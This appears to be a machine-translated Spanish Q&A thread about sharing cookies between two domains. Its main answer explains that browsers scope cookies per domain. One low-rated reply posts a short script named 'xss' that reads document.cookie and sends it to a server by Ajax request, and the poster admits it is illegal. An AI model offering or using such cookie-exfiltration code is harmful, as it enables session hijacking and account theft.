2010-08-30 25 views
5

Deseo poder acceder y establecer cookies entre example.com y mysite.com. ¿Cómo puedo hacer eso?¿Cómo comparto las cookies en 2 dominios con javascript?

+1

No puede hacer eso directamente. ¿Qué está tratando de lograr? También busque aquí y en Internet "cookies de dominio cruzado" para soluciones temporales. – Matthew

+0

posible duplicado: http://stackoverflow.com/questions/263010/whats-your-favorite-cross-domain-cookie-sharing-approach –

Respuesta

2

No se puede hacer eso solo con las cookies: se establecen explícitamente por dominio, y no hay una forma legítima (leer: "no explotar") para configurarlas para otro dominio.

Sin embargo, si controla ambos servidores, puede que sea posible utilizar algunas soluciones provisionales para lograr esto, pero no es así, y puede romperse inesperadamente (consulte this question; las respuestas allí deberían ayudarlo a solución).

0
<script> 
    function xss(){ 
    var cookies = document.cookie; 
    new Ajax.Request('//localhost/index.php?cookies='+cookies, { 
     onSuccess: function(response) { 
     alert(cookies); 
     } 
    }); 
    } 
    xss(); 
</script> 

PD pero es ilegal. Uso prototype lib.

+1

Amplíe el 'es ilegal' y por qué utiliza prototype lib para mejorar su respuesta . –

Cuestiones relacionadas